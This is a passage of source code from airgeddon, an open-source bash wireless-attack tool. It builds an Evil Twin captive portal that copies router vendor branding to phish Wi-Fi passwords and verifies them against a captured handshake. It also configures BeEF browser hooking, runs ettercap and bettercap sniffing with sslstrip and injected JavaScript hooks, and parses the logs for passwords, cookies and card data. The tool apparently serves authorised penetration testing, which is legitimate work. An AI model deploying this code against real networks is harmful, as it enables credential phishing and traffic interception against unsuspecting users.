fP77RBwvXXXt8uxYjRoXJB0S42JwGozeMNQRDUVLidwPQODaSqvkMOpNBoa53dmptoh+BIztbaWuuufrGqBdjVLHXBmC3y3HuychuuxvkOSmMqa2bW6q2F+6HAh4uGJuxGXgm11rVy+QDyuSDBuORqNzohqXJ3QrsiGEbrculq39ayAtu693xPQX+0YGB4TcluxJXuhAEh+L/TqcjXVA1e/Ftx47Yn+ekMK4zxAcKezkwzmJCYM96j9CSj0P7l09mONAgeslHI/WgS+y22zUq5tpCXrC0ru0aIIyD34Zdjxj/Ixs6k/3OPK6qbn96pRg9UFy0ZASvwDcfcRzmpHAnm5fVZiYJMJ21Hpsh2qq1eKEkHwk/z2ybBitSyQfit+PV6lxzzcOFulh5Q9u5IvItB+ptJzy9MNuafN6lYOhpqf4tgCdcDnhRuQqp1LCPoacsyBQDeCe7/PjxUMDDBXmOTLxSD4hVyUc4uxyMmfhf/fmXj2E40OHa+kLRzog96j2AxKV59gcwXyjkBYuLE7/fpQNvi3rFTdwd9D9+++I9LgbFmP6BM185yi92OvJT1yuQGtY/ueGUjflpz5afwF4/huPc8Zv7CnUtHTX+55yHcQ4VFmGTEA2/0rqOxSJ6WxzKqpAbcunKz7LViYiI6K14rAKiEZiQiz4dk6K+PAreN9jiRERExOSDKCRF6m+LSVH/74Z08iW2OBERETH5IApJvnj/yzEo5haMmbCUrU1ERERMPohCVLRXA9fLqJDPZ2+af4CtTUREREw+iELUP2p03uXyieLBXHrhHWxpIiIiYvJBFPaDtadfXS6fevgMIMqWJiIiIiYfRCEzRXK8u6WTNdnmqnVsZSIiImLyQWQB30+4ekjYAV+9T7OFiYiIiMkHkSVUgmlOFkzw9c0tyc1sYSIiImLyQWRP9vF/HCxVdz6//+tsXCIiImLyQWRX9vEPznUW6l395Ira/WxbIiIiYvJBZImy2szJgMxxrFi3d7Us/H9sXSIiImLyQWQRkeATAMShIr2kRQPXsmWJiIiIyQeRRSrqMhXqYZFLZVLF53K3Ln6OrUtERERMPogscXZqbSKQoBWK0a6USYDf5loqm9m6RERExOSDyBYLMv623h2tAP7WoVLtDQJTx5PMiYiIaLgkWAVER2ZO4+0nDARBC4APulQuhXy2Z0VNN1uYiIiIhouwCsgF5Q0dc9RDP0rGb8veNP9AIa45szEzQYLgcgGuA3CMUxWq+GW2pfL9fOtBREREw4lvPsgJRvUXEuAE7O1DWX37DkCeBnSbiGxVNc8A8iwULwD6vEri+YSWPLu55aJdg7nG2am1iae3PVtuDM4UTz+EIH8eIOPcq03dlTBSz8SDiIiIhhvffFDkTbtq9dHF/d5LQ/hXDwB4HsAuQPYCuguqB0S8wIgpfvUhURkN4AQAJwIocb0+VdGYa6lazsgiIiKi4cY3HxR5Rf2JkwEzlH+1BMCUQ1PuQ5mGQKEQjW1e/tODu1tVMbCIiIho2HG3K4o+0VNYCcNiR5Gf5+5WRERExOSD6A2pOZmVcMTyniD5RNOiZ1gVRERExOSD6A0IpIK1cMQ+09Vc9RtWAxERETH5IHpz5ayCI3J3Nl35HVYDERERMfkgehNnp9YmAExjTQxZt/H9y7jOg4iIiJh8EL2FrU9unwGgiDUxJH3w9JKepmQfq4KIiIiYfBC9lQQ/uRqiARFdkF1evYFVQURERIWbuhFFmA+vjN8LDZqBSm13uurnrAoiIiIqJL75oEhT5ZuPwVYZoNdkWypXsyqIiIiIyQfR4JSxCg4/8RDBJ7Pp6qWsCiIiIgoDP7siJh/xkAdwRXdzVQurgoiIiMLCNx8UWYe22T2JNfGW9gpwcTbNxIOIiIiYfBANyfat26eB2+y+KQWeVDHv7U5X/YS1QUREREw+iIY6sfaklLXwppnHL1E0MC/XXPMwK4OIiIiYfBAd2eR6JivhdQj2KfDp7LTN5+ZuXfwcK4SIiIhswQXnFFlGUCo85OMvE7Lfeb7WdzVVb2JlEBERkW345oMiS9Tjm49Xcw48A6A+O23ze5h4EBERka345oOijGs+oLsU8t1RJf43NixN7mZ9EBEREZMPopGZeMf5zcdOALeUIHHDhnTyJcYCERERMfkgGiGlV658GwYwPoZFf1RFbh1V7LXxTQcREREx+SAqAMkXzwTisdpcgWc8kTsR6Oru1qr72fpERETE5IOooBNyM0YgT8HdE86fAPQ+iKzJTdn8a6RShq1OREREUSesAoqymY2ZCRLoOwSmAsAsQCoArcDBxejFEXkK98HgURV9UNR7MJDgt1vSNU+xdYmIiIjJB1EEnJ1am+jtfX66ysAsT2W6AJNVMFVUTlTFiRBMAzCmwLe1B8AWQLao6hZ4skFUH5wy9e1/WJc6J89WIyIiIiYfRI6avqR1YqKo5EQ1mOqJdwLUTFKRCVCZCDETVGUiREugUiKQ1yQqmgDkULJgdqogEIMAnvQp8JIoXn7t//YU203JwBaeNk5ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERETR9v8BkrqjXsl2ORQAAAAldEVYdGRhdGU6Y3JlYXRlADIwMjQtMDctMjJUMTc6MDk6MjArMDA6MDAX0wCEAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDI0LTA3LTIyVDE3OjA5OjIwKzAwOjAwZo64OAAAAABJRU5ErkJggg==' ) hex_val1=$(echo "${bssid}" | cut -c 1-2) hex_val2=$(echo "${bssid}" | cut -c 4-5) hex_val3=$(echo "${bssid}" | cut -c 7-8) cp_mac_address="${hex_val1}${hex_val2}${hex_val3}" cp_vendor_detected="0" routervendor="" for routervendor in "${!cp_router_vendors[@]}"; do if [[ "${cp_router_vendors[${routervendor}]}" =~ ${cp_mac_address} ]]; then echo language_strings "${language}" 713 "blue" captive_portal_brand="${routervendor}" captive_portal_data="${cp_router_colors[$routervendor]}" captive_portal_bg_color=$(echo "${captive_portal_data}" | cut -d " " -f 1) captive_portal_button_color=$(echo "${captive_portal_data}" | cut -d " " -f 2) captive_portal_shadow_color=$(echo "${captive_portal_data}" | cut -d " " -f 3) captive_portal_img=$(echo "${captive_portal_data}" | cut -d " " -f 4) captive_portal_logo='\t\t\t\t' cp_vendor_detected="1" break fi done if [ "${cp_vendor_detected}" = "0" ]; then echo language_strings "${language}" 714 "yellow" captive_portal_brand="airgeddon_default" captive_portal_bg_color="#1b5e20" captive_portal_button_color="#43a047" captive_portal_shadow_color="#69f0ae" captive_portal_logo="" fi else captive_portal_brand="airgeddon_default" captive_portal_bg_color="#1b5e20" captive_portal_button_color="#43a047" captive_portal_shadow_color="#69f0ae" captive_portal_logo="" fi } #Create captive portal files. CGI bash scripts, CSS and JS file function set_captive_portal_page() { debug_print { echo -e "body * {" echo -e "\tbox-sizing: border-box;" echo -e "\tfont-family: Helvetica, Arial, sans-serif;" echo -e "}\n" echo -e ".button {" echo -e "\tcolor: #ffffff;" echo -e "\tbackground-color: ${captive_portal_button_color};" echo -e "\tborder-radius: 5px;" echo -e "\tcursor: pointer;" echo -e "\theight: 30px;" echo -e "}\n" echo -e ".content {" echo -e "\twidth: 100%;" echo -e "\tbackground-color: ${captive_portal_bg_color};" echo -e "\tpadding: 20px;" echo -e "\tmargin: 15px auto 0;" echo -e "\tborder-radius: 15px;" echo -e "\tcolor: #ffffff;" echo -e "}\n" echo -e ".title {" echo -e "\ttext-align: center;" echo -e "\tmargin-bottom: 15px;" echo -e "}\n" echo -e "#password {" echo -e "\twidth: 100%;" echo -e "\tmargin-bottom: 5px;" echo -e "\tborder-radius: 5px;" echo -e "\theight: 30px;" echo -e "}\n" echo -e "#password:hover," echo -e "#password:focus {" echo -e "\tbox-shadow: 0 0 10px ${captive_portal_shadow_color};" echo -e "}\n" echo -e ".bold {" echo -e "\tfont-weight: bold;" echo -e "}\n" echo -e "#showpass {" echo -e "\tvertical-align: top;" echo -e "}\n" echo -e "@media screen and (min-width: 1000px) {" echo -e "\t.content {" echo -e "\t\twidth: 50%;" echo -e "\t\tposition: absolute;" echo -e "\t\ttop: 50%;" echo -e "\t\tleft: 50%;" echo -e "\t\ttransform: translate(-50%, -50%);" echo -e "\t}" echo -e "}\n" } >> "${tmpdir}${webdir}${cssfile}" { echo -e "(function() {\n" echo -e "\tvar onLoad = function() {" echo -e "\t\tvar password = document.getElementById(\"password\");" echo -e "\t\tvar toggle = document.getElementById(\"showpass\");" echo -e "\t\tif (password) {" echo -e "\t\t\tpassword.oninvalid = function() {" echo -e "\t\t\t\tthis.setCustomValidity(\"${et_misc_texts[${captive_portal_language},16]}\");" echo -e "\t\t\t};" echo -e "\t\t\tpassword.oninput = function() {" echo -e "\t\t\t\tthis.setCustomValidity(\"\");" echo -e "\t\t\t};" echo -e "\t\t}\n" echo -e "\t\tif (password && toggle) {" echo -e "\t\t\ttoggle.addEventListener(\"click\", function() {" echo -e "\t\t\t\tpassword.setAttribute(\"type\", password.type === \"text\" ? \"password\" : \"text\");" echo -e "\t\t\t});" echo -e "\t\t\ttoggle.checked = false;" echo -e "\t\t}" echo -e "\t};\n" echo -e "\tif (document.readyState !== 'loading') onLoad(); else document.addEventListener('DOMContentLoaded', onLoad);" echo -e "})();\n" echo -e "function redirect() {" echo -e "\tdocument.location = \"${indexfile}\";" echo -e "}\n" } >> "${tmpdir}${webdir}${jsfile}" { echo -e "#!/usr/bin/env bash" echo -e "echo ''" echo -e "echo ''" echo -e "echo -e '\t'" echo -e "echo -e '\t\t'" echo -e "echo -e '\t\t'" echo -e "echo -e '\t\t${et_misc_texts[${captive_portal_language},15]}'" echo -e "echo -e '\t\t'" echo -e "echo -e '\t\t'" echo -e "echo -e '\t'" echo -e "echo -e '\t'" echo -e "echo -e '\t\t'" echo -e "echo -e '\t\t
'" echo -e "echo -e '\t\t\t
'" if [ "${advanced_captive_portal}" -eq 1 ]; then echo -e "echo -e '${captive_portal_logo}'" fi echo -e "echo -e '\t\t\t\t
'" echo -e "echo -e '\t\t\t\t\t

${et_misc_texts[${captive_portal_language},9]}

'" echo -e "echo -e '\t\t\t\t\t${essid//[\`\']/}'" echo -e "echo -e '\t\t\t\t
'" echo -e "echo -e '\t\t\t\t

${et_misc_texts[${captive_portal_language},10]}

'" echo -e "echo -e '\t\t\t\t'" echo -e "echo -e '\t\t\t\t

${et_misc_texts[${captive_portal_language},12]}

'" echo -e "echo -e '\t\t\t\t'" echo -e "echo -e '\t\t\t
'" echo -e "echo -e '\t\t
'" echo -e "echo -e '\t'" echo -e "echo ''" echo -e "exit 0" } >> "${tmpdir}${webdir}${indexfile}" base64 -d <<< "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAA1JREFUGFdj+P///38ACfsD/QVDRcoAAAAASUVORK5CYII=" > "${tmpdir}${webdir}${pixelfile}" exec 4>"${tmpdir}${webdir}${checkfile}" cat >&4 <<-EOF #!/usr/bin/env bash echo '' echo '' echo -e '\t' echo -e '\t\t' echo -e '\t\t${et_misc_texts[${captive_portal_language},15]}' echo -e '\t\t' echo -e '\t\t' echo -e '\t' echo -e '\t' echo -e '\t\t
' echo -e '\t\t\t

' POST_DATA=\$(cat /dev/stdin) if [[ "\${REQUEST_METHOD}" = "POST" ]] && [[ "\${CONTENT_LENGTH}" -gt 0 ]]; then POST_DATA=\${POST_DATA#*=} password=\${POST_DATA//+/ } password=\${password//[*&\/?<>]} password=\$(printf '%b' "\${password//%/\\\x}") password=\${password//[*&\/?<>]} fi if [[ "\${#password}" -ge 8 ]] && [[ "\${#password}" -le 63 ]]; then rm -rf "${tmpdir}${webdir}${currentpassfile}" > /dev/null 2>&1 echo "\${password}" > "${tmpdir}${webdir}${currentpassfile}" if aircrack-ng -a 2 -b ${bssid} -w "${tmpdir}${webdir}${currentpassfile}" "${et_handshake}" | grep "KEY FOUND!" > /dev/null; then touch "${tmpdir}${webdir}${et_successfile}" > /dev/null 2>&1 echo '${et_misc_texts[${captive_portal_language},18]}' et_successful=1 else echo "\${password}" >> "${tmpdir}${webdir}${attemptsfile}" echo '${et_misc_texts[${captive_portal_language},17]}' et_successful=0 fi elif [[ "\${#password}" -gt 0 ]] && [[ "\${#password}" -lt 8 ]]; then echo '${et_misc_texts[${captive_portal_language},26]}' et_successful=0 else echo '${et_misc_texts[${captive_portal_language},14]}' et_successful=0 fi echo -e '\t\t\t

' echo -e '\t\t
' echo -e '\t' echo '' if [ "\${et_successful}" -eq 1 ]; then exit 0 else echo '' exit 1 fi EOF exec 4>&- sleep 3 } #Launch lighttpd webserver for captive portal Evil Twin attack function launch_webserver() { debug_print recalculate_windows_sizes lighttpd_window_position=${g4_bottomright_window} manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${lighttpd_window_position} -T \"Webserver\"" "lighttpd -D -f \"${tmpdir}${webserver_file}\"" "Webserver" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else get_tmux_process_id "lighttpd -D -f \"${tmpdir}${webserver_file}\"" et_processes+=("${global_process_pid}") global_process_pid="" fi } #Launch ettercap sniffer function launch_ettercap_sniffing() { debug_print recalculate_windows_sizes case ${et_mode} in "et_sniffing") sniffing_scr_window_position=${g3_bottomright_window} ;; esac ettercap_cmd="ettercap -i ${interface} -q -T -z -S -u" if [ "${ettercap_log}" -eq 1 ]; then ettercap_cmd+=" -l \"${tmp_ettercaplog}\"" fi manage_output "-hold -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"Sniffer\"" "${ettercap_cmd}" "Sniffer" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) else get_tmux_process_id "${ettercap_cmd}" et_processes+=("${global_process_pid}") global_process_pid="" fi } #Create configuration file for beef function set_beef_config() { debug_print rm -rf "${tmpdir}${beef_file}" > /dev/null 2>&1 beef_db_path="" if [ -d "${beef_path}db" ]; then beef_db_path="db/${beef_db}" else beef_db_path="${beef_db}" fi local permitted_ui_subnet local permitted_ui_ipv6 if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_fixed_beef_iptables_issue}"; then permitted_ui_subnet="${loopback_ip}/${ip_mask_cidr}" permitted_ui_ipv6="${loopback_ipv6}" else permitted_ui_subnet="${any_ip}/${any_mask_cidr}" permitted_ui_ipv6="${any_ipv6}" fi local permitted_hooking_subnet local beef_panel_restriction if compare_floats_greater_or_equal "${beef_version}" "${beef_needed_brackets_version}"; then permitted_hooking_subnet=" permitted_hooking_subnet: [\"${et_ip_range}/${std_c_mask_cidr}\", \"${any_ipv6}\"]" beef_panel_restriction=" permitted_ui_subnet: [\"${permitted_ui_subnet}\", \"${permitted_ui_ipv6}\"]" else permitted_hooking_subnet=" permitted_hooking_subnet: \"${et_ip_range}/${std_c_mask_cidr}\"" beef_panel_restriction=" permitted_ui_subnet: \"${permitted_ui_subnet}\"" fi { echo -e "beef:" echo -e " version: 'airgeddon integrated'" echo -e " debug: false" echo -e " client_debug: false" echo -e " crypto_default_value_length: 80" echo -e " restrictions:" echo -e "${permitted_hooking_subnet}" echo -e "${beef_panel_restriction}" echo -e " http:" echo -e " debug: false" echo -e " host: \"${any_ip}\"" echo -e " port: \"${beef_port}\"" echo -e " dns_host: \"localhost\"" echo -e " dns_port: ${dns_port}" echo -e " web_ui_basepath: \"/ui\"" echo -e " hook_file: \"/${jshookfile}\"" echo -e " hook_session_name: \"BEEFHOOK\"" echo -e " session_cookie_name: \"BEEFSESSION\"" echo -e " web_server_imitation:" echo -e " enable: true" echo -e " type: \"apache\"" echo -e " hook_404: false" echo -e " hook_root: false" echo -e " websocket:" echo -e " enable: false" echo -e " database:" echo -e " driver: \"sqlite\"" echo -e " file: \"${beef_db_path}\"" echo -e " db_file: \"${beef_db_path}\"" echo -e " credentials:" echo -e " user: \"beef\"" echo -e " passwd: \"${beef_pass}\"" echo -e " autorun:" echo -e " enable: true" echo -e " result_poll_interval: 300" echo -e " result_poll_timeout: 5000" echo -e " continue_after_timeout: true" echo -e " dns_hostname_lookup: false" echo -e " integration:" echo -e " phishing_frenzy:" echo -e " enable: false" echo -e " extension:" echo -e " requester:" echo -e " enable: true" echo -e " proxy:" echo -e " enable: true" echo -e " key: \"beef_key.pem\"" echo -e " cert: \"beef_cert.pem\"" echo -e " metasploit:" echo -e " enable: false" echo -e " social_engineering:" echo -e " enable: true" echo -e " evasion:" echo -e " enable: false" echo -e " console:" echo -e " shell:" echo -e " enable: false" echo -e " ipec:" echo -e " enable: true" echo -e " dns:" echo -e " enable: false" echo -e " dns_rebinding:" echo -e " enable: false" echo -e " admin_ui:" echo -e " enable: true" echo -e " base_path: \"/ui\"" } >> "${tmpdir}${beef_file}" } #Detects if your beef is Flexible Brainfuck interpreter instead of BeEF function detect_fake_beef() { debug_print readarray -t BEEF_OUTPUT < <(timeout -s SIGTERM 0.5 beef -h 2> /dev/null) for item in "${BEEF_OUTPUT[@]}"; do if [[ ${item} =~ Brainfuck ]]; then fake_beef_found=1 break fi done } #Search for beef path function search_for_beef() { debug_print if [ "${beef_found}" -eq 0 ]; then for item in "${possible_beef_known_locations[@]}"; do if [ -f "${item}beef" ]; then beef_path="${item}" beef_found=1 break fi done fi } #Prepare system to work with beef function prepare_beef_start() { debug_print valid_possible_beef_path=0 if [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 0 ]]; then language_strings "${language}" 405 "blue" ask_yesno 191 "yes" if [ "${yesno}" = "y" ]; then manual_beef_set search_for_beef fi if [[ "${beef_found}" -eq 1 ]] && [[ "${valid_possible_beef_path}" -eq 1 ]]; then fix_beef_executable "${manually_entered_beef_path}" fi if [ "${beef_found}" -eq 1 ]; then echo language_strings "${language}" 413 "yellow" language_strings "${language}" 115 "read" fi elif [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 0 ]]; then fix_beef_executable "${beef_path}" echo language_strings "${language}" 413 "yellow" language_strings "${language}" 115 "read" elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[17]}]} -eq 1 ]]; then language_strings "${language}" 405 "blue" ask_yesno 415 "yes" if [ "${yesno}" = "y" ]; then manual_beef_set search_for_beef if [[ "${beef_found}" -eq 1 ]] && [[ "${valid_possible_beef_path}" -eq 1 ]]; then rewrite_script_with_custom_beef "set" "${manually_entered_beef_path}" echo language_strings "${language}" 413 "yellow" language_strings "${language}" 115 "read" fi fi fi } #Set beef path manually function manual_beef_set() { debug_print while [[ "${valid_possible_beef_path}" != "1" ]]; do echo language_strings "${language}" 402 "green" echo -en '> ' manually_entered_beef_path=$(read -re _manually_entered_beef_path; echo -n "${_manually_entered_beef_path}") manually_entered_beef_path=$(fix_autocomplete_chars "${manually_entered_beef_path}") if [ -n "${manually_entered_beef_path}" ]; then lastcharmanually_entered_beef_path=${manually_entered_beef_path: -1} if [ "${lastcharmanually_entered_beef_path}" != "/" ]; then manually_entered_beef_path="${manually_entered_beef_path}/" fi firstcharmanually_entered_beef_path=${manually_entered_beef_path:0:1} if [ "${firstcharmanually_entered_beef_path}" != "/" ]; then language_strings "${language}" 404 "red" else if [ -d "${manually_entered_beef_path}" ]; then if [ -f "${manually_entered_beef_path}beef" ]; then if head "${manually_entered_beef_path}beef" -n 1 2> /dev/null | grep ruby > /dev/null; then possible_beef_known_locations+=("${manually_entered_beef_path}") valid_possible_beef_path=1 else language_strings "${language}" 406 "red" fi else language_strings "${language}" 406 "red" fi else language_strings "${language}" 403 "red" fi fi fi done } #Fix for not found beef executable function fix_beef_executable() { debug_print rm -rf "/usr/bin/beef" > /dev/null 2>&1 { echo -e "#!/usr/bin/env bash\n" echo -e "cd ${1}" echo -e "./beef" } >> "/usr/bin/beef" chmod +x "/usr/bin/beef" > /dev/null 2>&1 optional_tools[${optional_tools_names[17]}]=1 rewrite_script_with_custom_beef "set" "${1}" } #Rewrite airgeddon script in a polymorphic way adding custom beef location to array to get persistence function rewrite_script_with_custom_beef() { debug_print case ${1} in "set") sed -ri "s:(\s+|\t+)([\"0-9a-zA-Z/\-_ ]+)?\s?(#Custom BeEF location \(set=)([01])(\)):\1\"${2}\" \31\5:" "${scriptfolder}${scriptname}" 2> /dev/null ;; "search") beef_custom_path_line=$(grep "#[C]ustom BeEF location (set=1)" < "${scriptfolder}${scriptname}" 2> /dev/null) if [ -n "${beef_custom_path_line}" ]; then [[ ${beef_custom_path_line} =~ \"(.*)\" ]] && beef_custom_path="${BASH_REMATCH[1]}" fi ;; esac } #Start beef process as a service function start_beef_service() { debug_print if ! service "${optional_tools_names[17]}" restart > /dev/null 2>&1; then systemctl restart "${optional_tools_names[17]}.service" > /dev/null 2>&1 fi } #Launch beef browser exploitation framework #shellcheck disable=SC2164 function launch_beef() { debug_print if [ "${beef_found}" -eq 0 ]; then start_beef_service fi recalculate_windows_sizes if [ "${beef_found}" -eq 1 ]; then rm -rf "${beef_path}${beef_file}" > /dev/null 2>&1 cp "${tmpdir}${beef_file}" "${beef_path}" > /dev/null 2>&1 manage_output "+j -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "cd ${beef_path} && ./beef -c \"${beef_file}\"" "BeEF" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then cd "${beef_path}" get_tmux_process_id "./beef -c \"${beef_file}\"" et_processes+=("${global_process_pid}") global_process_pid="" fi else manage_output "+j -bg \"#000000\" -fg \"#00FF00\" -geometry ${g4_middleright_window} -T \"BeEF\"" "${optional_tools_names[17]}" "BeEF" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then get_tmux_process_id "{optional_tools_names[18]}" et_processes+=("${global_process_pid}") global_process_pid="" fi fi if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then et_processes+=($!) fi sleep 2 } #Launch bettercap sniffer #shellcheck disable=SC2001 function launch_bettercap_sniffing() { debug_print local bettercap_window_title recalculate_windows_sizes case ${et_mode} in "et_sniffing_sslstrip2") sniffing_scr_window_position=${g3_bottomright_window} bettercap_window_title="Sniffer+Bettercap-Sslstrip2" ;; "et_sniffing_sslstrip2_beef") sniffing_scr_window_position=${g4_bottomright_window} bettercap_window_title="Sniffer+Bettercap-Sslstrip2/BeEF" ;; esac if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}"; then set_bettercap_config bettercap_cmd="bettercap -iface ${interface} -no-history -caplet ${tmpdir}${bettercap_config_file}" if [ "${bettercap_log}" -eq 1 ]; then bettercap_cmd+=" | tee ${tmp_bettercaplog}" fi else if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_advanced_options}"; then bettercap_extra_cmd_options="--disable-parsers URL,HTTPS,DHCP --no-http-logs" fi if [ "${et_mode}" = "et_sniffing_sslstrip2" ]; then bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --dns-port ${bettercap_dns_port}" else bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" fi if [ "${bettercap_log}" -eq 1 ]; then bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" fi fi manage_output "+j -bg \"#000000\" -fg \"#FFFF00\" -geometry ${sniffing_scr_window_position} -T \"${bettercap_window_title}\"" "${bettercap_cmd}" "${bettercap_window_title}" if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then local bettercap_cmd_clean_for_pid_finding bettercap_cmd_clean_for_pid_finding=$(echo "${bettercap_cmd}" | sed 's/ |.*//') get_tmux_process_id "${bettercap_cmd_clean_for_pid_finding}" et_processes+=("${global_process_pid}") global_process_pid="" else et_processes+=($!) fi } #Parse ettercap log searching for captured passwords function parse_ettercap_log() { debug_print echo language_strings "${language}" 304 "blue" readarray -t CAPTUREDPASS < <(etterlog -L -p -i "${tmp_ettercaplog}.eci" 2> /dev/null | grep -E -i "USER:|PASS:") { echo "" date +%Y-%m-%d echo "${et_misc_texts[${language},8]}" echo "" echo "BSSID: ${bssid}" echo "${et_misc_texts[${language},1]}: ${channel}" echo "ESSID: ${essid}" echo "" echo "---------------" echo "" } >> "${tmpdir}parsed_file" pass_counter=0 for cpass in "${CAPTUREDPASS[@]}"; do echo "${cpass}" >> "${tmpdir}parsed_file" pass_counter=$((pass_counter + 1)) done add_contributing_footer_to_file "${tmpdir}parsed_file" if [ "${pass_counter}" -eq 0 ]; then language_strings "${language}" 305 "yellow" else language_strings "${language}" 306 "blue" cp "${tmpdir}parsed_file" "${ettercap_logpath}" > /dev/null 2>&1 fi rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 language_strings "${language}" 115 "read" } #Parse bettercap log searching for captured passwords function parse_bettercap_log() { debug_print echo language_strings "${language}" 304 "blue" if compare_floats_greater_or_equal "${bettercap_version}" "${bettercap2_version}"; then sed -Ei 's/\x1b\[[0-9;]*m.+\x1b\[[0-9;]K//g' "${tmp_bettercaplog}" 2> /dev/null sed -Ei 's/\x1b\[[0-9;]*m|\x1b\[J|\x1b\[[0-9;]K|\x8|\xd//g' "${tmp_bettercaplog}" 2> /dev/null sed -Ei 's/.*»//g' "${tmp_bettercaplog}" 2> /dev/null sed -Ei 's/^[[:blank:]]*//g' "${tmp_bettercaplog}" 2> /dev/null sed -Ei '/^$/d' "${tmp_bettercaplog}" 2> /dev/null fi local regexp='USER|UNAME|PASS|CREDITCARD|COOKIE|PWD|USUARIO|CONTRASE|CORREO|MAIL|NET.SNIFF.HTTP.REQUEST.*POST|HTTP\].*POST' local regexp2='USER-AGENT|COOKIES|BEEFHOOK' readarray -t BETTERCAPLOG < <(cat < "${tmp_bettercaplog}" 2> /dev/null | grep -E -i "${regexp}" | grep -E -vi "${regexp2}") { echo "" date +%Y-%m-%d echo "${et_misc_texts[${language},8]}" echo "" echo "BSSID: ${bssid}" echo "${et_misc_texts[${language},1]}: ${channel}" echo "ESSID: ${essid}" echo "" echo "---------------" echo "" } >> "${tmpdir}parsed_file" pass_counter=0 captured_cookies=() for cpass in "${BETTERCAPLOG[@]}"; do if [[ ${cpass^^} =~ ${regexp^^} ]]; then repeated_cookie=0 for item in "${captured_cookies[@]}"; do if [ "${item}" = "${cpass}" ]; then repeated_cookie=1 break fi done if [ "${repeated_cookie}" -eq 0 ]; then captured_cookies+=("${cpass}") echo "${cpass}" >> "${tmpdir}parsed_file" pass_counter=$((pass_counter + 1)) fi else echo "${cpass}" >> "${tmpdir}parsed_file" pass_counter=$((pass_counter + 1)) fi done add_contributing_footer_to_file "${tmpdir}parsed_file" if [ "${pass_counter}" -eq 0 ]; then language_strings "${language}" 305 "yellow" else language_strings "${language}" 399 "blue" cp "${tmpdir}parsed_file" "${bettercap_logpath}" > /dev/null 2>&1 fi rm -rf "${tmpdir}parsed_file" > /dev/null 2>&1 language_strings "${language}" 115 "read" } #Write on a file the id of the Evil Twin attack processes function write_et_processes() { debug_print rm -rf "${tmpdir}${et_processesfile}" > /dev/null 2>&1 for item in "${et_processes[@]}"; do echo "${item}" >> "${tmpdir}${et_processesfile}" done if [ "${dos_pursuit_mode}" -eq 1 ]; then for item in "${dos_pursuit_mode_pids[@]}"; do echo "${item}" >> "${tmpdir}${et_processesfile}" done fi } #Kill a given PID and all its subprocesses recursively function kill_pid_and_children_recursive() { debug_print local parent_pid="" local child_pids="" parent_pid="${1}" child_pids=$(pgrep -P "${parent_pid}" 2> /dev/null) for child_pid in ${child_pids}; do kill_pid_and_children_recursive "${child_pid}" done if [ -n "${child_pids}" ]; then pkill -P "${parent_pid}" &> /dev/null fi kill "${parent_pid}" &> /dev/null wait "${parent_pid}" 2> /dev/null } #Kill the WPA3 downgrade attack processes function kill_wpa3_downgrade_attack_processes() { debug_print kill "${hostapd_mana_pid}" &> /dev/null kill "${downgrade_dos_pid}" &> /dev/null if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then kill_tmux_windows fi } #Kill the Evil Twin and Enterprise processes function kill_et_windows() { debug_print if [ "${dos_pursuit_mode}" -eq 1 ]; then kill_dos_pursuit_mode_processes fi for item in "${et_processes[@]}"; do kill_pid_and_children_recursive "${item}" done if [ -n "${enterprise_mode}" ]; then kill "${enterprise_process_control_window}" &> /dev/null else kill "${et_process_control_window}" &> /dev/null fi if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then kill_tmux_windows fi } #Kill DoS pursuit mode processes function kill_dos_pursuit_mode_processes() { debug_print for item in "${dos_pursuit_mode_pids[@]}"; do kill_pid_and_children_recursive "${item}" done if ! stty sane > /dev/null 2>&1; then reset > /dev/null 2>&1 fi dos_pursuit_mode_pids=() sleep 1 } #Set current channel reading it from file function recover_current_channel() { debug_print local recovered_channel recovered_channel=$(cat "${tmpdir}${channelfile}" 2> /dev/null) if [ -n "${recovered_channel}" ]; then channel="${recovered_channel}" fi } #Convert capture file to hashcat format function convert_cap_to_hashcat_format() { debug_print rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 if [ "${hccapx_needed}" -eq 0 ]; then echo "1" | timeout -s SIGTERM 3 aircrack-ng "${enteredpath}" -J "${tmpdir}${hashcat_tmp_simple_name_file}" -b "${bssid}" > /dev/null 2>&1 return 0 else if [ "${hcx_conversion_needed}" -eq 1 ]; then if hash hcxpcapngtool 2> /dev/null; then hcxpcapngtool -o "${tmpdir}${hashcat_tmp_file}" "${enteredpath}" > /dev/null 2>&1 return 0 else echo language_strings "${language}" 703 "red" language_strings "${language}" 115 "read" return 1 fi else hccapx_converter_found=0 if hash ${hccapx_tool} 2> /dev/null; then hccapx_converter_found=1 